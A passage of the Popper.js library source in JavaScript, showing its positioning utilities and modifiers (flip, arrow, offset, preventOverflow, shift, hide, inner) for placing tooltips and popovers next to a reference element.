placement.split('-')[0]; // Get popper node sizes var popperRect = getOuterSizes(popper); // Add position, width and height to our offsets object var popperOffsets = { width: popperRect.width, height: popperRect.height }; // depending by the popper placement we have to compute its offsets slightly differently var isHoriz = ['right', 'left'].indexOf(placement) !== -1; var mainSide = isHoriz ? 'top' : 'left'; var secondarySide = isHoriz ? 'left' : 'top'; var measurement = isHoriz ? 'height' : 'width'; var secondaryMeasurement = !isHoriz ? 'height' : 'width'; popperOffsets[mainSide] = referenceOffsets[mainSide] + referenceOffsets[measurement] / 2 - popperRect[measurement] / 2; if (placement === secondarySide) { popperOffsets[secondarySide] = referenceOffsets[secondarySide] - popperRect[secondaryMeasurement]; } else { popperOffsets[secondarySide] = referenceOffsets[getOppositePlacement(secondarySide)]; } return popperOffsets; } /** * Mimics the `find` method of Array * @method * @memberof Popper.Utils * @argument {Array} arr * @argument prop * @argument value * @returns index or -1 */ function find(arr, check) { // use native find if supported if (Array.prototype.find) { return arr.find(check); } // use `filter` to obtain the same behavior of `find` return arr.filter(check)[0]; } /** * Return the index of the matching object * @method * @memberof Popper.Utils * @argument {Array} arr * @argument prop * @argument value * @returns index or -1 */ function findIndex(arr, prop, value) { // use native findIndex if supported if (Array.prototype.findIndex) { return arr.findIndex(function (cur) { return cur[prop] === value; }); } // use `find` + `indexOf` if `findIndex` isn't supported var match = find(arr, function (obj) { return obj[prop] === value; }); return arr.indexOf(match); } /** * Loop trough the list of modifiers and run them in order, * each of them will then edit the data object. * @method * @memberof Popper.Utils * @param {dataObject} data * @param {Array} modifiers * @param {String} ends - Optional modifier name used as stopper * @returns {dataObject} */ function runModifiers(modifiers, data, ends) { var modifiersToRun = ends === undefined ? modifiers : modifiers.slice(0, findIndex(modifiers, 'name', ends)); modifiersToRun.forEach(function (modifier) { if (modifier['function']) { // eslint-disable-line dot-notation console.warn('`modifier.function` is deprecated, use `modifier.fn`!'); } var fn = modifier['function'] || modifier.fn; // eslint-disable-line dot-notation if (modifier.enabled && isFunction(fn)) { // Add properties to offsets to make them a complete clientRect object // we do this before each modifier to make sure the previous one doesn't // mess with these values data.offsets.popper = getClientRect(data.offsets.popper); data.offsets.reference = getClientRect(data.offsets.reference); data = fn(data, modifier); } }); return data; } /** * Updates the position of the popper, computing the new offsets and applying * the new style.<br /> * Prefer `scheduleUpdate` over `update` because of performance reasons. * @method * @memberof Popper */ function update() { // if popper is destroyed, don't perform any further update if (this.state.isDestroyed) { return; } var data = { instance: this, styles: {}, arrowStyles: {}, attributes: {}, flipped: false, offsets: {} }; // compute reference element offsets data.offsets.reference = getReferenceOffsets(this.state, this.popper, this.reference); // compute auto placement, store placement inside the data object, // modifiers will be able to edit `placement` if needed // and refer to originalPlacement to know the original value data.placement = computeAutoPlacement(this.options.placement, data.offsets.reference, this.popper, this.reference, this.options.modifiers.flip.boundariesElement, this.options.modifiers.flip.padding); // store the computed placement inside `originalPlacement` data.originalPlacement = data.placement; // compute the popper offsets data.offsets.popper = getPopperOffsets(this.popper, data.offsets.reference, data.placement); data.offsets.popper.position = 'absolute'; // run the modifiers data = runModifiers(this.modifiers, data); // the first `update` will call `onCreate` callback // the other ones will call `onUpdate` callback if (!this.state.isCreated) { this.state.isCreated = true; this.options.onCreate(data); } else { this.options.onUpdate(data); } } /** * Helper used to know if the given modifier is enabled. * @method * @memberof Popper.Utils * @returns {Boolean} */ function isModifierEnabled(modifiers, modifierName) { return modifiers.some(function (_ref) { var name = _ref.name, enabled = _ref.enabled; return enabled && name === modifierName; }); } /** * Get the prefixed supported property name * @method * @memberof Popper.Utils * @argument {String} property (camelCase) * @returns {String} prefixed property (camelCase or PascalCase, depending on the vendor prefix) */ function getSupportedPropertyName(property) { var prefixes = [false, 'ms', 'Webkit', 'Moz', 'O']; var upperProp = property.charAt(0).toUpperCase() + property.slice(1); for (var i = 0; i < prefixes.length - 1; i++) { var prefix = prefixes[i]; var toCheck = prefix ? '' + prefix + upperProp : property; if (typeof window.document.body.style[toCheck] !== 'undefined') { return toCheck; } } return null; } /** * Destroy the popper * @method * @memberof Popper */ function destroy() { this.state.isDestroyed = true; // touch DOM only if `applyStyle` modifier is enabled if (isModifierEnabled(this.modifiers, 'applyStyle')) { this.popper.removeAttribute('x-placement'); this.popper.style.left = ''; this.popper.style.position = ''; this.popper.style.top = ''; this.popper.style[getSupportedPropertyName('transform')] = ''; } this.disableEventListeners(); // remove the popper if user explicity asked for the deletion on destroy // do not use `remove` because IE11 doesn't support it if (this.options.removeOnDestroy) { this.popper.parentNode.removeChild(this.popper); } return this; } /** * Get the window associated with the element * @argument {Element} element * @returns {Window} */ function getWindow(element) { var ownerDocument = element.ownerDocument; return ownerDocument ? ownerDocument.defaultView : window; } function attachToScrollParents(scrollParent, event, callback, scrollParents) { var isBody = scrollParent.nodeName === 'BODY'; var target = isBody ? scrollParent.ownerDocument.defaultView : scrollParent; target.addEventListener(event, callback, { passive: true }); if (!isBody) { attachToScrollParents(getScrollParent(target.parentNode), event, callback, scrollParents); } scrollParents.push(target); } /** * Setup needed event listeners used to update the popper position * @method * @memberof Popper.Utils * @private */ function setupEventListeners(reference, options, state, updateBound) { // Resize event listener on window state.updateBound = updateBound; getWindow(reference).addEventListener('resize', state.updateBound, { passive: true }); // Scroll event listener on scroll parents var scrollElement = getScrollParent(reference); attachToScrollParents(scrollElement, 'scroll', state.updateBound, state.scrollParents); state.scrollElement = scrollElement; state.eventsEnabled = true; return state; } /** * It will add resize/scroll events and start recalculating * position of the popper element when they are triggered. * @method * @memberof Popper */ function enableEventListeners() { if (!this.state.eventsEnabled) { this.state = setupEventListeners(this.reference, this.options, this.state, this.scheduleUpdate); } } /** * Remove event listeners used to update the popper position * @method * @memberof Popper.Utils * @private */ function removeEventListeners(reference, state) { // Remove resize event listener on window getWindow(reference).removeEventListener('resize', state.updateBound); // Remove scroll event listener on scroll parents state.scrollParents.forEach(function (target) { target.removeEventListener('scroll', state.updateBound); }); // Reset state state.updateBound = null; state.scrollParents = []; state.scrollElement = null; state.eventsEnabled = false; return state; } /** * It will remove resize/scroll events and won't recalculate popper position * when they are triggered. It also won't trigger onUpdate callback anymore, * unless you call `update` method manually. * @method * @memberof Popper */ function disableEventListeners() { if (this.state.eventsEnabled) { window.cancelAnimationFrame(this.scheduleUpdate); this.state = removeEventListeners(this.reference, this.state); } } /** * Tells if a given input is a number * @method * @memberof Popper.Utils * @param {*} input to check * @return {Boolean} */ function isNumeric(n) { return n !== '' && !isNaN(parseFloat(n)) && isFinite(n); } /** * Set the style to the given popper * @method * @memberof Popper.Utils * @argument {Element} element - Element to apply the style to * @argument {Object} styles * Object with a list of properties and values which will be applied to the element */ function setStyles(element, styles) { Object.keys(styles).forEach(function (prop) { var unit = ''; // add unit if the value is numeric and is one of the following if (['width', 'height', 'top', 'right', 'bottom', 'left'].indexOf(prop) !== -1 && isNumeric(styles[prop])) { unit = 'px'; } element.style[prop] = styles[prop] + unit; }); } /** * Set the attributes to the given popper * @method * @memberof Popper.Utils * @argument {Element} element - Element to apply the attributes to * @argument {Object} styles * Object with a list of properties and values which will be applied to the element */ function setAttributes(element, attributes) { Object.keys(attributes).forEach(function (prop) { var value = attributes[prop]; if (value !== false) { element.setAttribute(prop, attributes[prop]); } else { element.removeAttribute(prop); } }); } /** * @function * @memberof Modifiers * @argument {Object} data - The data object generated by `update` method * @argument {Object} data.styles - List of style properties - values to apply to popper element * @argument {Object} data.attributes - List of attribute properties - values to apply to popper element * @argument {Object} options - Modifiers configuration and options * @returns {Object} The same data object */ function applyStyle(data) { // any property present in `data.styles` will be applied to the popper, // in this way we can make the 3rd party modifiers add custom styles to it // Be aware, modifiers could override the properties defined in the previous // lines of this modifier! setStyles(data.instance.popper, data.styles); // any property present in `data.attributes` will be applied to the popper, // they will be set as HTML attributes of the element setAttributes(data.instance.popper, data.attributes); // if arrowElement is defined and arrowStyles has some properties if (data.arrowElement && Object.keys(data.arrowStyles).length) { setStyles(data.arrowElement, data.arrowStyles); } return data; } /** * Set the x-placement attribute before everything else because it could be used * to add margins to the popper margins needs to be calculated to get the * correct popper offsets. * @method * @memberof Popper.modifiers * @param {HTMLElement} reference - The reference element used to position the popper * @param {HTMLElement} popper - The HTML element used as popper. * @param {Object} options - Popper.js options */ function applyStyleOnLoad(reference, popper, options, modifierOptions, state) { // compute reference element offsets var referenceOffsets = getReferenceOffsets(state, popper, reference); // compute auto placement, store placement inside the data object, // modifiers will be able to edit `placement` if needed // and refer to originalPlacement to know the original value var placement = computeAutoPlacement(options.placement, referenceOffsets, popper, reference, options.modifiers.flip.boundariesElement, options.modifiers.flip.padding); popper.setAttribute('x-placement', placement); // Apply `position` to popper before anything else because // without the position applied we can't guarantee correct computations setStyles(popper, { position: 'absolute' }); return options; } /** * @function * @memberof Modifiers * @argument {Object} data - The data object generated by `update` method * @argument {Object} options - Modifiers configuration and options * @returns {Object} The data object, properly modified */ function computeStyle(data, options) { var x = options.x, y = options.y; var popper = data.offsets.popper; // Remove this legacy support in Popper.js v2 var legacyGpuAccelerationOption = find(data.instance.modifiers, function (modifier) { return modifier.name === 'applyStyle'; }).gpuAcceleration; if (legacyGpuAccelerationOption !== undefined) { console.warn('WARNING: `gpuAcceleration` option moved to `computeStyle` modifier and will not be supported in future versions of Popper.js!'); } var gpuAcceleration = legacyGpuAccelerationOption !== undefined ? legacyGpuAccelerationOption : options.gpuAcceleration; var offsetParent = getOffsetParent(data.instance.popper); var offsetParentRect = getBoundingClientRect(offsetParent); // Styles var styles = { position: popper.position }; // floor sides to avoid blurry text var offsets = { left: Math.floor(popper.left), top: Math.floor(popper.top), bottom: Math.floor(popper.bottom), right: Math.floor(popper.right) }; var sideA = x === 'bottom' ? 'top' : 'bottom'; var sideB = y === 'right' ? 'left' : 'right'; // if gpuAcceleration is set to `true` and transform is supported, // we use `translate3d` to apply the position to the popper we // automatically use the supported prefixed version if needed var prefixedProperty = getSupportedPropertyName('transform'); // now, let's make a step back and look at this code closely (wtf?) // If the content of the popper grows once it's been positioned, it // may happen that the popper gets misplaced because of the new content // overflowing its reference element // To avoid this problem, we provide two options (x and y), which allow // the consumer to define the offset origin. // If we position a popper on top of a reference element, we can set // `x` to `top` to make the popper grow towards its top instead of // its bottom. var left = void 0, top = void 0; if (sideA === 'bottom') { top = -offsetParentRect.height + offsets.bottom; } else { top = offsets.top; } if (sideB === 'right') { left = -offsetParentRect.width + offsets.right; } else { left = offsets.left; } if (gpuAcceleration && prefixedProperty) { styles[prefixedProperty] = 'translate3d(' + left + 'px, ' + top + 'px, 0)'; styles[sideA] = 0; styles[sideB] = 0; styles.willChange = 'transform'; } else { // othwerise, we use the standard `top`, `left`, `bottom` and `right` properties var invertTop = sideA === 'bottom' ? -1 : 1; var invertLeft = sideB === 'right' ? -1 : 1; styles[sideA] = top * invertTop; styles[sideB] = left * invertLeft; styles.willChange = sideA + ', ' + sideB; } // Attributes var attributes = { 'x-placement': data.placement }; // Update `data` attributes, styles and arrowStyles data.attributes = _extends({}, attributes, data.attributes); data.styles = _extends({}, styles, data.styles); data.arrowStyles = _extends({}, data.offsets.arrow, data.arrowStyles); return data; } /** * Helper used to know if the given modifier depends from another one.<br /> * It checks if the needed modifier is listed and enabled. * @method * @memberof Popper.Utils * @param {Array} modifiers - list of modifiers * @param {String} requestingName - name of requesting modifier * @param {String} requestedName - name of requested modifier * @returns {Boolean} */ function isModifierRequired(modifiers, requestingName, requestedName) { var requesting = find(modifiers, function (_ref) { var name = _ref.name; return name === requestingName; }); var isRequired = !!requesting && modifiers.some(function (modifier) { return modifier.name === requestedName && modifier.enabled && modifier.order < requesting.order; }); if (!isRequired) { var _requesting = '`' + requestingName + '`'; var requested = '`' + requestedName + '`'; console.warn(requested + ' modifier is required by ' + _requesting + ' modifier in order to work, be sure to include it before ' + _requesting + '!'); } return isRequired; } /** * @function * @memberof Modifiers * @argument {Object} data - The data object generated by update method * @argument {Object} options - Modifiers configuration and options * @returns {Object} The data object, properly modified */ function arrow(data, options) { // arrow depends on keepTogether in order to work if (!isModifierRequired(data.instance.modifiers, 'arrow', 'keepTogether')) { return data; } var arrowElement = options.element; // if arrowElement is a string, suppose it's a CSS selector if (typeof arrowElement === 'string') { arrowElement = data.instance.popper.querySelector(arrowElement); // if arrowElement is not found, don't run the modifier if (!arrowElement) { return data; } } else { // if the arrowElement isn't a query selector we must check that the // provided DOM node is child of its popper node if (!data.instance.popper.contains(arrowElement)) { console.warn('WARNING: `arrow.element` must be child of its popper element!'); return data; } } var placement = data.placement.split('-')[0]; var _data$offsets = data.offsets, popper = _data$offsets.popper, reference = _data$offsets.reference; var isVertical = ['left', 'right'].indexOf(placement) !== -1; var len = isVertical ? 'height' : 'width'; var sideCapitalized = isVertical ? 'Top' : 'Left'; var side = sideCapitalized.toLowerCase(); var altSide = isVertical ? 'left' : 'top'; var opSide = isVertical ? 'bottom' : 'right'; var arrowElementSize = getOuterSizes(arrowElement)[len]; // // extends keepTogether behavior making sure the popper and its // reference have enough pixels in conjuction // // top/left side if (reference[opSide] - arrowElementSize < popper[side]) { data.offsets.popper[side] -= popper[side] - (reference[opSide] - arrowElementSize); } // bottom/right side if (reference[side] + arrowElementSize > popper[opSide]) { data.offsets.popper[side] += reference[side] + arrowElementSize - popper[opSide]; } // compute center of the popper var center = reference[side] + reference[len] / 2 - arrowElementSize / 2; // Compute the sideValue using the updated popper offsets // take popper margin in account because we don't have this info available var popperMarginSide = getStyleComputedProperty(data.instance.popper, 'margin' + sideCapitalized).replace('px', ''); var sideValue = center - getClientRect(data.offsets.popper)[side] - popperMarginSide; // prevent arrowElement from being placed not contiguously to its popper sideValue = Math.max(Math.min(popper[len] - arrowElementSize, sideValue), 0); data.arrowElement = arrowElement; data.offsets.arrow = {}; data.offsets.arrow[side] = Math.round(sideValue); data.offsets.arrow[altSide] = ''; // make sure to unset any eventual altSide value from the DOM node return data; } /** * Get the opposite placement variation of the given one * @method * @memberof Popper.Utils * @argument {String} placement variation * @returns {String} flipped placement variation */ function getOppositeVariation(variation) { if (variation === 'end') { return 'start'; } else if (variation === 'start') { return 'end'; } return variation; } /** * List of accepted placements to use as values of the `placement` option.<br /> * Valid placements are: * - `auto` * - `top` * - `right` * - `bottom` * - `left` * * Each placement can have a variation from this list: * - `-start` * - `-end` * * Variations are interpreted easily if you think of them as the left to right * written languages. Horizontally (`top` and `bottom`), `start` is left and `end` * is right.<br /> * Vertically (`left` and `right`), `start` is top and `end` is bottom. * * Some valid examples are: * - `top-end` (on top of reference, right aligned) * - `right-start` (on right of reference, top aligned) * - `bottom` (on bottom, centered) * - `auto-right` (on the side with more space available, alignment depends by placement) * * @static * @type {Array} * @enum {String} * @readonly * @method placements * @memberof Popper */ var placements = ['auto-start', 'auto', 'auto-end', 'top-start', 'top', 'top-end', 'right-start', 'right', 'right-end', 'bottom-end', 'bottom', 'bottom-start', 'left-end', 'left', 'left-start']; // Get rid of `auto` `auto-start` and `auto-end` var validPlacements = placements.slice(3); /** * Given an initial placement, returns all the subsequent placements * clockwise (or counter-clockwise). * * @method * @memberof Popper.Utils * @argument {String} placement - A valid placement (it accepts variations) * @argument {Boolean} counter - Set to true to walk the placements counterclockwise * @returns {Array} placements including their variations */ function clockwise(placement) { var counter = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false; var index = validPlacements.indexOf(placement); var arr = validPlacements.slice(index + 1).concat(validPlacements.slice(0, index)); return counter ? arr.reverse() : arr; } var BEHAVIORS = { FLIP: 'flip', CLOCKWISE: 'clockwise', COUNTERCLOCKWISE: 'counterclockwise' }; /** * @function * @memberof Modifiers * @argument {Object} data - The data object generated by update method * @argument {Object} options - Modifiers configuration and options * @returns {Object} The data object, properly modified */ function flip(data, options) { // if `inner` modifier is enabled, we can't use the `flip` modifier if (isModifierEnabled(data.instance.modifiers, 'inner')) { return data; } if (data.flipped && data.placement === data.originalPlacement) { // seems like flip is trying to loop, probably there's not enough space on any of the flippable sides return data; } var boundaries = getBoundaries(data.instance.popper, data.instance.reference, options.padding, options.boundariesElement); var placement = data.placement.split('-')[0]; var placementOpposite = getOppositePlacement(placement); var variation = data.placement.split('-')[1] || ''; var flipOrder = []; switch (options.behavior) { case BEHAVIORS.FLIP: flipOrder = [placement, placementOpposite]; break; case BEHAVIORS.CLOCKWISE: flipOrder = clockwise(placement); break; case BEHAVIORS.COUNTERCLOCKWISE: flipOrder = clockwise(placement, true); break; default: flipOrder = options.behavior; } flipOrder.forEach(function (step, index) { if (placement !== step || flipOrder.length === index + 1) { return data; } placement = data.placement.split('-')[0]; placementOpposite = getOppositePlacement(placement); var popperOffsets = data.offsets.popper; var refOffsets = data.offsets.reference; // using floor because the reference offsets may contain decimals we are not going to consider here var floor = Math.floor; var overlapsRef = placement === 'left' && floor(popperOffsets.right) > floor(refOffsets.left) || placement === 'right' && floor(popperOffsets.left) < floor(refOffsets.right) || placement === 'top' && floor(popperOffsets.bottom) > floor(refOffsets.top) || placement === 'bottom' && floor(popperOffsets.top) < floor(refOffsets.bottom); var overflowsLeft = floor(popperOffsets.left) < floor(boundaries.left); var overflowsRight = floor(popperOffsets.right) > floor(boundaries.right); var overflowsTop = floor(popperOffsets.top) < floor(boundaries.top); var overflowsBottom = floor(popperOffsets.bottom) > floor(boundaries.bottom); var overflowsBoundaries = placement === 'left' && overflowsLeft || placement === 'right' && overflowsRight || placement === 'top' && overflowsTop || placement === 'bottom' && overflowsBottom; // flip the variation if required var isVertical = ['top', 'bottom'].indexOf(placement) !== -1; var flippedVariation = !!options.flipVariations && (isVertical && variation === 'start' && overflowsLeft || isVertical && variation === 'end' && overflowsRight || !isVertical && variation === 'start' && overflowsTop || !isVertical && variation === 'end' && overflowsBottom); if (overlapsRef || overflowsBoundaries || flippedVariation) { // this boolean to detect any flip loop data.flipped = true; if (overlapsRef || overflowsBoundaries) { placement = flipOrder[index + 1]; } if (flippedVariation) { variation = getOppositeVariation(variation); } data.placement = placement + (variation ? '-' + variation : ''); // this object contains `position`, we want to preserve it along with // any additional property we may add in the future data.offsets.popper = _extends({}, data.offsets.popper, getPopperOffsets(data.instance.popper, data.offsets.reference, data.placement)); data = runModifiers(data.instance.modifiers, data, 'flip'); } }); return data; } /** * @function * @memberof Modifiers * @argument {Object} data - The data object generated by update method * @argument {Object} options - Modifiers configuration and options * @returns {Object} The data object, properly modified */ function keepTogether(data) { var _data$offsets = data.offsets, popper = _data$offsets.popper, reference = _data$offsets.reference; var placement = data.placement.split('-')[0]; var floor = Math.floor; var isVertical = ['top', 'bottom'].indexOf(placement) !== -1; var side = isVertical ? 'right' : 'bottom'; var opSide = isVertical ? 'left' : 'top'; var measurement = isVertical ? 'width' : 'height'; if (popper[side] < floor(reference[opSide])) { data.offsets.popper[opSide] = floor(reference[opSide]) - popper[measurement]; } if (popper[opSide] > floor(reference[side])) { data.offsets.popper[opSide] = floor(reference[side]); } return data; } /** * Converts a string containing value + unit into a px value number * @function * @memberof {modifiers~offset} * @private * @argument {String} str - Value + unit string * @argument {String} measurement - `height` or `width` * @argument {Object} popperOffsets * @argument {Object} referenceOffsets * @returns {Number|String} * Value in pixels, or original string if no values were extracted */ function toValue(str, measurement, popperOffsets, referenceOffsets) { // separate value from unit var split = str.match(/((?:\-|\+)?\d*\.?\d*)(.*)/); var value = +split[1]; var unit = split[2]; // If it's not a number it's an operator, I guess if (!value) { return str; } if (unit.indexOf('%') === 0) { var element = void 0; switch (unit) { case '%p': element = popperOffsets; break; case '%': case '%r': default: element = referenceOffsets; } var rect = getClientRect(element); return rect[measurement] / 100 * value; } else if (unit === 'vh' || unit === 'vw') { // if is a vh or vw, we calculate the size based on the viewport var size = void 0; if (unit === 'vh') { size = Math.max(document.documentElement.clientHeight, window.innerHeight || 0); } else { size = Math.max(document.documentElement.clientWidth, window.innerWidth || 0); } return size / 100 * value; } else { // if is an explicit pixel unit, we get rid of the unit and keep the value // if is an implicit unit, it's px, and we return just the value return value; } } /** * Parse an `offset` string to extrapolate `x` and `y` numeric offsets. * @function * @memberof {modifiers~offset} * @private * @argument {String} offset * @argument {Object} popperOffsets * @argument {Object} referenceOffsets * @argument {String} basePlacement * @returns {Array} a two cells array with x and y offsets in numbers */ function parseOffset(offset, popperOffsets, referenceOffsets, basePlacement) { var offsets = [0, 0]; // Use height if placement is left or right and index is 0 otherwise use width // in this way the first offset will use an axis and the second one // will use the other one var useHeight = ['right', 'left'].indexOf(basePlacement) !== -1; // Split the offset string to obtain a list of values and operands // The regex addresses values with the plus or minus sign in front (+10, -20, etc) var fragments = offset.split(/(\+|\-)/).map(function (frag) { return frag.trim(); }); // Detect if the offset string contains a pair of values or a single one // they could be separated by comma or space var divider = fragments.indexOf(find(fragments, function (frag) { return frag.search(/,|\s/) !== -1; })); if (fragments[divider] && fragments[divider].indexOf(',') === -1) { console.warn('Offsets separated by white space(s) are deprecated, use a comma (,) instead.'); } // If divider is found, we divide the list of values and operands to divide // them by ofset X and Y. var splitRegex = /\s*,\s*|\s+/; var ops = divider !== -1 ? [fragments.slice(0, divider).concat([fragments[divider].split(splitRegex)[0]]), [fragments[divider].split(splitRegex)[1]].concat(fragments.slice(divider + 1))] : [fragments]; // Convert the values with units to absolute pixels to allow our computations ops = ops.map(function (op, index) { // Most of the units rely on the orientation of the popper var measurement = (index === 1 ? !useHeight : useHeight) ? 'height' : 'width'; var mergeWithPrevious = false; return op // This aggregates any `+` or `-` sign that aren't considered operators // e.g.: 10 + +5 => [10, +, +5] .reduce(function (a, b) { if (a[a.length - 1] === '' && ['+', '-'].indexOf(b) !== -1) { a[a.length - 1] = b; mergeWithPrevious = true; return a; } else if (mergeWithPrevious) { a[a.length - 1] += b; mergeWithPrevious = false; return a; } else { return a.concat(b); } }, []) // Here we convert the string values into number values (in px) .map(function (str) { return toValue(str, measurement, popperOffsets, referenceOffsets); }); }); // Loop trough the offsets arrays and execute the operations ops.forEach(function (op, index) { op.forEach(function (frag, index2) { if (isNumeric(frag)) { offsets[index] += frag * (op[index2 - 1] === '-' ? -1 : 1); } }); }); return offsets; } /** * @function * @memberof Modifiers * @argument {Object} data - The data object generated by update method * @argument {Object} options - Modifiers configuration and options * @argument {Number|String} options.offset=0 * The offset value as described in the modifier description * @returns {Object} The data object, properly modified */ function offset(data, _ref) { var offset = _ref.offset; var placement = data.placement, _data$offsets = data.offsets, popper = _data$offsets.popper, reference = _data$offsets.reference; var basePlacement = placement.split('-')[0]; var offsets = void 0; if (isNumeric(+offset)) { offsets = [+offset, 0]; } else { offsets = parseOffset(offset, popper, reference, basePlacement); } if (basePlacement === 'left') { popper.top += offsets[0]; popper.left -= offsets[1]; } else if (basePlacement === 'right') { popper.top += offsets[0]; popper.left += offsets[1]; } else if (basePlacement === 'top') { popper.left += offsets[0]; popper.top -= offsets[1]; } else if (basePlacement === 'bottom') { popper.left += offsets[0]; popper.top += offsets[1]; } data.popper = popper; return data; } /** * @function * @memberof Modifiers * @argument {Object} data - The data object generated by `update` method * @argument {Object} options - Modifiers configuration and options * @returns {Object} The data object, properly modified */ function preventOverflow(data, options) { var boundariesElement = options.boundariesElement || getOffsetParent(data.instance.popper); // If offsetParent is the reference element, we really want to // go one step up and use the next offsetParent as reference to // avoid to make this modifier completely useless and look like broken if (data.instance.reference === boundariesElement) { boundariesElement = getOffsetParent(boundariesElement); } var boundaries = getBoundaries(data.instance.popper, data.instance.reference, options.padding, boundariesElement); options.boundaries = boundaries; var order = options.priority; var popper = data.offsets.popper; var check = { primary: function primary(placement) { var value = popper[placement]; if (popper[placement] < boundaries[placement] && !options.escapeWithReference) { value = Math.max(popper[placement], boundaries[placement]); } return defineProperty({}, placement, value); }, secondary: function secondary(placement) { var mainSide = placement === 'right' ? 'left' : 'top'; var value = popper[mainSide]; if (popper[placement] > boundaries[placement] && !options.escapeWithReference) { value = Math.min(popper[mainSide], boundaries[placement] - (placement === 'right' ? popper.width : popper.height)); } return defineProperty({}, mainSide, value); } }; order.forEach(function (placement) { var side = ['left', 'top'].indexOf(placement) !== -1 ? 'primary' : 'secondary'; popper = _extends({}, popper, check[side](placement)); }); data.offsets.popper = popper; return data; } /** * @function * @memberof Modifiers * @argument {Object} data - The data object generated by `update` method * @argument {Object} options - Modifiers configuration and options * @returns {Object} The data object, properly modified */ function shift(data) { var placement = data.placement; var basePlacement = placement.split('-')[0]; var shiftvariation = placement.split('-')[1]; // if shift shiftvariation is specified, run the modifier if (shiftvariation) { var _data$offsets = data.offsets, reference = _data$offsets.reference, popper = _data$offsets.popper; var isVertical = ['bottom', 'top'].indexOf(basePlacement) !== -1; var side = isVertical ? 'left' : 'top'; var measurement = isVertical ? 'width' : 'height'; var shiftOffsets = { start: defineProperty({}, side, reference[side]), end: defineProperty({}, side, reference[side] + reference[measurement] - popper[measurement]) }; data.offsets.popper = _extends({}, popper, shiftOffsets[shiftvariation]); } return data; } /** * @function * @memberof Modifiers * @argument {Object} data - The data object generated by update method * @argument {Object} options - Modifiers configuration and options * @returns {Object} The data object, properly modified */ function hide(data) { if (!isModifierRequired(data.instance.modifiers, 'hide', 'preventOverflow')) { return data; } var refRect = data.offsets.reference; var bound = find(data.instance.modifiers, function (modifier) { return modifier.name === 'preventOverflow'; }).boundaries; if (refRect.bottom < bound.top || refRect.left > bound.right || refRect.top > bound.bottom || refRect.right < bound.left) { // Avoid unnecessary DOM access if visibility hasn't changed if (data.hide === true) { return data; } data.hide = true; data.attributes['x-out-of-boundaries'] = ''; } else { // Avoid unnecessary DOM access if visibility hasn't changed if (data.hide === false) { return data; } data.hide = false; data.attributes['x-out-of-boundaries'] = false; } return data; } /** * @function * @memberof Modifiers * @argument {Object} data - The data object generated by `update` method * @argument {Object} options - Modifiers configuration and options * @returns {Object} The data object, properly modified */ function inner(data) { var placement = data.placement; var basePlacement = placement.split('-')[0]; var _data$offsets = data.offsets, popper = _data$offsets.popper, reference = _data$offsets.reference; var isHoriz = ['left', 'right'].indexOf(basePlacement) !== -1; var subtractLength = ['top', 'left'].indexOf(basePlacement) === -1; popper[isHoriz ? 'left' : 'top'] = reference[basePlacement] - (subtractLength ? popper[isHoriz ? 'width' : 'height'] : 0); data.placement = getOppositePlacement(placement); data.offsets.popper = getClientRect(popper); return data; } /** * Modifier function, each modifier can have a function of this type assigned * to its `fn` property.<br /> * These functions will be called on each update, this means that you must * make sure they are performant enough to avoid performance bottlenecks. * * @function ModifierFn * @argument {dataObject} data - The data object generated by `update` method * @argument {Object} options - Modifiers configuration and options * @returns {dataObject} The data object, properly modified */ /** * Modifiers are plugins used to alter the behavior of your poppers.<br /> * Popper.js uses a set of 9 modifiers to provide all the basic functionalities * needed by the library. * * Usually you don't want to override the `order`, `fn` and `onLoad` props. * All the other properties are configurations that could be tweaked. * @namespace modifiers */ var modifiers = { /** * Modifier used to shift the popper on the start or end of its reference * element.<br /> * It will read the variation of the `placement` property.<br /> * It can be one either `-end` or `-start`. * @memberof modifiers * @inner */ shift: { /** @prop {number} order=100 - Index used to define the order of execution */ order: 100, /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */ enabled: true, /** @prop {ModifierFn} */ fn: shift }, /** * The `offset` modifier can shift your popper on both its axis. * * It accepts the following units: * - `px` or unitless, interpreted as pixels * - `%` or `%r`, percentage relative to the length of the reference element * - `%p`, percentage relative to the length of the popper element * - `vw`, CSS viewport width unit * - `vh`, CSS viewport height unit * * For length is intended the main axis relative to the placement of the popper.<br /> * This means that if the placement is `top` or `bottom`, the length will be the * `width`. In case of `left` or `right`, it will be the height. * * You can provide a single value (as `Number` or `String`), or a pair of values * as `String` divided by a comma or one (or more) white spaces.<br /> * The latter is a deprecated method because it leads to confusion and will be * removed in v2.<br /> * Additionally, it accepts additions and subtractions between different units. * Note that multiplications and divisions aren't supported. * * Valid examples are: * ``` * 10 * '10%' * '10, 10' * '10%, 10' * '10 + 10%' * '10 - 5vh + 3%' * '-10px + 5vh, 5px - 6%' * ``` * > **NB**: If you desire to apply offsets to your poppers in a way that may make them overlap * > with their reference element, unfortunately, you will have to disable the `flip` modifier. * > More on this [reading this issue](https://github.com/FezVrasta/popper.js/issues/373) * * @memberof modifiers * @inner */ offset: { /** @prop {number} order=200 - Index used to define the order of execution */ order: 200, /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */ enabled: true, /** @prop {ModifierFn} */ fn: offset, /** @prop {Number|String} offset=0 * The offset value as described in the modifier description */ offset: 0 }, /** * Modifier used to prevent the popper from being positioned outside the boundary. * * An scenario exists where the reference itself is not within the boundaries.<br /> * We can say it has "escaped the boundaries" — or just "escaped".<br /> * In this case we need to decide whether the popper should either: * * - detach from the reference and remain "trapped" in the boundaries, or * - if it should ignore the boundary and "escape with its reference" * * When `escapeWithReference` is set to`true` and reference is completely * outside its boundaries, the popper will overflow (or completely leave) * the boundaries in order to remain attached to the edge of the reference. * * @memberof modifiers * @inner */ preventOverflow: { /** @prop {number} order=300 - Index used to define the order of execution */ order: 300, /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */ enabled: true, /** @prop {ModifierFn} */ fn: preventOverflow, /** * @prop {Array} [priority=['left','right','top','bottom']] * Popper will try to prevent overflow following these priorities by default, * then, it could overflow on the left and on top of the `boundariesElement` */ priority: ['left', 'right', 'top', 'bottom'], /** * @prop {number} padding=5 * Amount of pixel used to define a minimum distance between the boundaries * and the popper this makes sure the popper has always a little padding * between the edges of its container */ padding: 5, /** * @prop {String|HTMLElement} boundariesElement='scrollParent' * Boundaries used by the modifier, can be `scrollParent`, `window`, * `viewport` or any DOM element. */ boundariesElement: 'scrollParent' }, /** * Modifier used to make sure the reference and its popper stay near eachothers * without leaving any gap between the two. Expecially useful when the arrow is * enabled and you want to assure it to point to its reference element. * It cares only about the first axis, you can still have poppers with margin * between the popper and its reference 